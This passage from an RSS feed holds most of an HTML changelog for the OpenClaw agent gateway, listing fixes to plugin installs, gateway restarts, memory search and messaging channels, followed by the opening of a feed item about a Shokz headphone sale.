<p>CLI/update: refuse package updates launched from the active gateway process tree before stopping the managed Gateway service, avoiding self-terminated in-lane updates that leave old Gateway code running. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364875425" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75691" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75691/hovercard" href="https://github.com/openclaw/openclaw/issues/75691">#75691</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366736571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75819" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75819/hovercard" href="https://github.com/openclaw/openclaw/pull/75819">#75819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>CLI/plugins: stop treating the non-plugin <code>auth</code> command root as a bundled plugin id, so restrictive <code>plugins.allow</code> configs no longer tell users to add stale <code>auth</code> plugin entries.</p>
</li>
<li>
<p>Doctor/plugins: update configured plugin installs whose stale manifests still declare channels without <code>channelConfigs</code>, so beta upgrades repair old Discord-style package payloads during <code>doctor --fix</code>.</p>
</li>
<li>
<p>Doctor/plugins: repair configured external plugin installs whose persisted install record points at a missing package directory, so upgrades reconcile phantom npm metadata before plugin runtime validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Active Memory: keep non-empty <code>memory_search</code> results from being fast-failed as empty when debug telemetry reports zero hits.</p>
</li>
<li>
<p>Active Memory: preserve the target agent context when building embedded recall plugin tools so <code>memory_search</code> and <code>memory_get</code> stay available for explicit recall sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370503514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76343" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76343/hovercard" href="https://github.com/openclaw/openclaw/issues/76343">#76343</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Countermarch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Countermarch">@Countermarch</a>.</p>
</li>
<li>
<p>Plugins/externalization: repair missing configured plugin installs from npm by default, reserve ClawHub downloads for explicit <code>clawhubSpec</code> metadata, and cover agent-runtime/env-selected plugin repair. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: allow official catalog-matched npm channel plugins such as Feishu to pass the trusted install scanner path while keeping spoofed package names blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tools/llm-task: keep JSON-only embedded model runs from tripping inherited tool allowlists when tools are intentionally disabled, while preserving runtime <code>toolsAllow</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347559374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74019/hovercard" href="https://github.com/openclaw/openclaw/issues/74019">#74019</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Tools/profiles: make <code>tools.profile: "full"</code> grant all tools including optional plugin tools such as browser, so the full profile no longer silently drops plugin-provided tools that require an explicit allowlist entry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371092864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76507/hovercard" href="https://github.com/openclaw/openclaw/issues/76507">#76507</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Feishu: keep timeout env parsing separate from the HTTP client wrapper so package security scans no longer report a false env-harvesting hit during install. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Upgrade/config: validate configured web-search providers and statically suppressed model/provider pairs against the active plugin set at config load, so stale plugin state fails loud before runtime fallback.</p>
</li>
<li>
<p>Status/update: resolve beta update-channel checks from the installed version when config still says <code>stable</code>, and let <code>status --deep</code> reuse live gateway channel credential state instead of warning on command-path-only token misses.</p>
</li>
<li>
<p>Doctor/plugins: preserve unmanaged third-party plugin <code>node_modules</code> during <code>doctor --fix</code>, while still pruning OpenClaw-managed runtime dependency caches.</p>
</li>
<li>
<p>Gateway/restart: add <code>openclaw gateway restart --force</code> and <code>--wait &lt;duration&gt;</code>, log active task run IDs before restart deferral timers, and report timeout restarts as explicit forced restarts.</p>
</li>
<li>
<p>Discord: persist slash-command deploy hashes across process restarts so unchanged command sets skip redeploy and avoid restart-loop 429s.</p>
</li>
<li>
<p>Providers/LM Studio: normalize binary <code>off</code>/<code>on</code> reasoning metadata from Gemma 4 and other local models to LM Studio's accepted OpenAI-compatible <code>reasoning_effort</code> values.</p>
</li>
<li>
<p>Plugins/externalization: keep official external install docs, update examples, and live Codex npm checks on default npm tags instead of <code>@beta</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep ACPX, Google Chat, and LINE publishable plugin dist trees out of the core npm package file list.</p>
</li>
<li>
<p>Plugins/ClawHub: fall back to version metadata when the artifact resolver route is missing and keep the Docker ClawHub fixture aligned with npm-pack artifact resolution, avoiding false version-not-found failures during plugin install validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Providers/openai-codex: honor <code>providerConfig.baseUrl</code> in the dynamic-model synthesis fallback so codex providers configured with a custom upstream (for example a forwarding proxy) no longer silently bypass the configured URL when the registry has no template row to clone for the requested model id. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370800895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76428" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76428/hovercard" href="https://github.com/openclaw/openclaw/pull/76428">#76428</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arniesaha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arniesaha">@arniesaha</a>.</p>
</li>
<li>
<p>Status/channels: show configured channels in <code>openclaw status</code> and config-only <code>openclaw channels status</code> output even when the Gateway is unreachable, avoiding empty Channels tables on WSL and other no-Gateway paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: explain unavailable explicit ClawHub ClawPack artifact downloads with a temporary npm install hint while ClawHub artifact routing rolls out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Media: accept home-relative <code>MEDIA:~/...</code> attachment paths while preserving existing file-read policy, traversal checks, and media type validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346056562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73796/hovercard" href="https://github.com/openclaw/openclaw/issues/73796">#73796</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabkury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabkury">@fabkury</a>.</p>
</li>
<li>
<p>Onboarding/search: install official external web-search plugins such as Brave before saving provider config, and make doctor repair reconcile selected external search providers whose npm payload is missing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/externalization: add official npm-first catalogs for externalized channel, provider, and generic plugins, keep unpublished ACPX/Google Chat/LINE bundled, and make missing-plugin repair honor npm-first metadata while ClawHub pack files roll out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/update: detect tracked plugin install records whose package directories disappeared during <code>openclaw update</code>, reinstall them before normal plugin updates, and fail the update if any install record still points at missing disk payloads.</p>
</li>
<li>
<p>Plugins/registry: hash manifest and package metadata when validating persisted plugin registries so fast same-size rewrites cannot leave stale plugin metadata trusted.</p>
</li>
<li>
<p>Plugins/registry: canonicalize install-record provenance paths before trust diagnostics, so npm plugins installed under symlinked temp/state roots no longer warn as untracked local code.</p>
</li>
<li>
<p>Plugins/install: let official external Discord reinstall requests pass the invalid-config guard and run stale-channel repair, so upgrades can recover missing external plugin state directly.</p>
</li>
<li>
<p>CLI/infer: reject local <code>codex/*</code> one-shot model probes before simple-completion dispatch and point operators at the Codex app-server runtime path instead of ending with an empty-output error.</p>
</li>
<li>
<p>Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing <code>main</code> sessions from staying stuck as running after completed or timed-out turns.</p>
</li>
<li>
<p>Gateway/CLI: make <code>openclaw gateway start</code> repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting.</p>
</li>
<li>
<p>Heartbeat/scheduler: make heartbeat phase scheduling active-hours-aware so the scheduler seeks forward to the first in-window phase slot instead of arming timers for quiet-hours slots and relying solely on the runtime guard. Non-UTC <code>activeHours.timezone</code> values (e.g. <code>Asia/Shanghai</code>) now correctly influence when the next heartbeat timer fires, avoiding wasted quiet-hours ticks and long dormant gaps after gateway restarts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363246759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75487/hovercard" href="https://github.com/openclaw/openclaw/issues/75487">#75487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Providers/Arcee AI: mark Trinity Large Thinking as tool-incompatible so main-session runs use the same text-only request shape that made subagent runs recover, avoiding the remaining main-session response-shape mismatch after the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221668426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62848/hovercard" href="https://github.com/openclaw/openclaw/issues/62848">#62848</a> transport failover fix. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221687645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62851/hovercard" href="https://github.com/openclaw/openclaw/issues/62851">#62851</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221667245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62847" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62847/hovercard" href="https://github.com/openclaw/openclaw/issues/62847">#62847</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221668426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62848/hovercard" href="https://github.com/openclaw/openclaw/issues/62848">#62848</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adam-Researchh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adam-Researchh">@Adam-Researchh</a>.</p>
</li>
<li>
<p>Status: show the <code>openai-codex</code> OAuth profile for <code>openai/gpt-*</code> sessions running through the native Codex runtime instead of reporting auth as unknown. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369662899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76197" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76197/hovercard" href="https://github.com/openclaw/openclaw/pull/76197">#76197</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Gateway: avoid repeated plugin tool descriptor config hashing so large runtime configs do not block reply startup and trigger reconnect/timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367851232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75944/hovercard" href="https://github.com/openclaw/openclaw/issues/75944">#75944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep diagnostics ClawHub packages and persisted bundled-plugin relocation on npm-first install metadata for launch, and omit Discord from the core package now that its external package is published. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Setup/TUI: bound the Terminal hatch bootstrap run so a stalled provider request times out instead of leaving first-run hatching stuck behind the watchdog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369916791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76241" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76241/hovercard" href="https://github.com/openclaw/openclaw/pull/76241">#76241</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Cron/CLI runtimes: route isolated cron jobs through configured per-agent CLI runtimes only when the resolved model provider is compatible, so OpenAI job overrides no longer inherit a mismatched Claude CLI backend. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</p>
</li>
<li>
<p>Plugins/Codex: allow the official npm Codex plugin to install without the unsafe-install override, keep <code>/codex</code> command ownership, and cover the real npm Docker live path through managed <code>.openclaw/npm</code> dependencies plus uninstall failure proof.</p>
</li>
<li>
<p>Gateway/status: add concrete service, config, listener-owner, and log collection next steps when gateway probes fail and Bonjour finds no local gateway, so frozen or port-conflict reports include the data needed for root-cause triage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4088411746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49012/hovercard" href="https://github.com/openclaw/openclaw/issues/49012">#49012</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Codex harness: forward OpenClaw workspace bootstrap files such as <code>SOUL.md</code> through native Codex config instructions while leaving <code>AGENTS.md</code> to Codex project-doc discovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370133135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76273/hovercard" href="https://github.com/openclaw/openclaw/issues/76273">#76273</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zknicker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zknicker">@zknicker</a>.</p>
</li>
<li>
<p>Parallels/Windows update smoke: escape the stale post-swap import regex in the generated PowerShell script so expected <code>ERR_MODULE_NOT_FOUND</code> update handoffs continue to post-update health checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362062644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75315" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75315/hovercard" href="https://github.com/openclaw/openclaw/pull/75315">#75315</a>)</p>
</li>
<li>
<p>Slack: allow draft preview streaming in top-level DMs when <code>replyToMode</code> is <code>off</code> while keeping Slack native streaming and assistant thread status gated on reply threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160487114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56480/hovercard" href="https://github.com/openclaw/openclaw/issues/56480">#56480</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161016971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56544" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56544/hovercard" href="https://github.com/openclaw/openclaw/pull/56544">#56544</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HangGlidersRule/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HangGlidersRule">@HangGlidersRule</a>.</p>
</li>
<li>
<p>Control UI/chat: remove the delete-confirm popover outside-click listener on every dismiss path, so Cancel, Delete, outside clicks, and same-button toggles no longer leave stale document listeners behind. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363970635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75590/hovercard" href="https://github.com/openclaw/openclaw/pull/75590">#75590</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306731173" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69982/hovercard" href="https://github.com/openclaw/openclaw/pull/69982">#69982</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ricardo-M-L/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ricardo-M-L">@Ricardo-M-L</a>.</p>
</li>
<li>
<p>Memory-core: treat exhausted file watcher limits as non-fatal for builtin memory auto-sync while preserving fatal handling for unrelated disk-full errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341250108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73357/hovercard" href="https://github.com/openclaw/openclaw/pull/73357">#73357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solodmd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solodmd">@solodmd</a>.</p>
</li>
<li>
<p>Providers/Ollama: restore catalog context-window forwarding as <code>num_ctx</code> for native <code>/api/chat</code> requests; fixes tool selection and context truncation regressions on models with catalog entries (qwen3, llama3, gemma3, …) when no explicit <code>params.num_ctx</code> was configured. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369209198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76117" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76117/hovercard" href="https://github.com/openclaw/openclaw/issues/76117">#76117</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369585251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76181" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76181/hovercard" href="https://github.com/openclaw/openclaw/pull/76181">#76181</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Plugins/install: pin npm plugin installs to the verified resolved version and reject package-lock version or integrity drift, so mutable tags cannot race integrity checks into accepting a different artifact. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</p>
</li>
<li>
<p>Plugins/providers: preserve scoped cold-load fallback for enabled external manifest-contract capability providers missing from the startup registry, so providers such as Fish Audio can resolve on request without requiring <code>activation.onStartup</code> for correctness. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371180492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76536" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76536/hovercard" href="https://github.com/openclaw/openclaw/pull/76536">#76536</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Conan-Scott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Conan-Scott">@Conan-Scott</a>.</p>
</li>
<li>
<p>Gateway/update: carry <code>continuationMessage</code> from <code>update.run</code> into successful restart sentinels so session-scoped self-updates can resume one follow-up turn after the Gateway restarts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324435284" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71178" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71178/hovercard" href="https://github.com/openclaw/openclaw/issues/71178">#71178</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350993039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74362" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74362/hovercard" href="https://github.com/openclaw/openclaw/pull/74362">#74362</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeilbronAILabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeilbronAILabs">@HeilbronAILabs</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/artnking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/artnking">@artnking</a>.</p>
</li>
<li>
<p>Agents/fallback: suppress duplicate current-turn user-message transcript writes after embedded fallback retries while still sending the retry prompt to the model. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231528900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63696/hovercard" href="https://github.com/openclaw/openclaw/pull/63696">#63696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dashhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dashhuang">@dashhuang</a>.</p>
</li>
<li>
<p>Channels/Telegram: force a fresh final message when a visible non-preview bubble (tool/block/error) was delivered after the active answer preview, so multi-step assistant replies no longer end up with the final answer above intermediate output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371163135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76529" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76529/hovercard" href="https://github.com/openclaw/openclaw/issues/76529">#76529</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jack-stormentswe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jack-stormentswe">@jack-stormentswe</a>.</p>
</li>
<li>
<p>Channels/Telegram: require an observed Telegram send, edit, or fallback before treating a forum-topic final as delivered, so final replies generated in transcript no longer disappear from Telegram topics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371235088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76554/hovercard" href="https://github.com/openclaw/openclaw/issues/76554">#76554</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372160301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76764/hovercard" href="https://github.com/openclaw/openclaw/pull/76764">#76764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bubucilo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bubucilo">@bubucilo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Plugins/update: keep externalized bundled npm bridge updates on the normal plugin security scanner path instead of granting source-linked official trust without artifact provenance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372163499" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76765/hovercard" href="https://github.com/openclaw/openclaw/pull/76765">#76765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</p>
</li>
<li>
<p>Agents/reply context: label replied-to messages as the current user message target in model-visible metadata, so short replies are grounded to their explicit reply target instead of nearby chat history. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372371547" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76817" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76817/hovercard" href="https://github.com/openclaw/openclaw/pull/76817">#76817</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Doctor/plugins: install configured missing official plugins such as Discord and Brave during doctor/update repair, auto-enable repaired provider plugins, preserve config when a download fails, and stop auto-enable from inventing plugin entries when no manifest declares a configured channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372587442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76872" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76872/hovercard" href="https://github.com/openclaw/openclaw/issues/76872">#76872</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jack-stormentswe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jack-stormentswe">@jack-stormentswe</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shokz’s bassy OpenRun Pro 2 are $40 off thanks to a new Mother’s Day promo]]></title>
<description><![CDATA[If you’re looking to pick up a pair of open-ear headphones for yourself — or your mom — Shokz is running a Mother’s Day sale. Now through May 10th, the company’s best pair of bone conduction headphones, the OpenRun Pro 2, are available from Amazon, Best Buy, and Shokz for around $139.95 ($40 off)...]]></description>
<link>https://tsecurity.de/de/3483969/it-nachrichten/shokzs-bassy-openrun-pro-2-are-40-off-thanks-to-a-new-mothers-day-promo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3483969/it-nachrichten/shokzs-bassy-openrun-pro-2-are-40-off-thanks-to-a-new-mothers-day-promo/</guid>
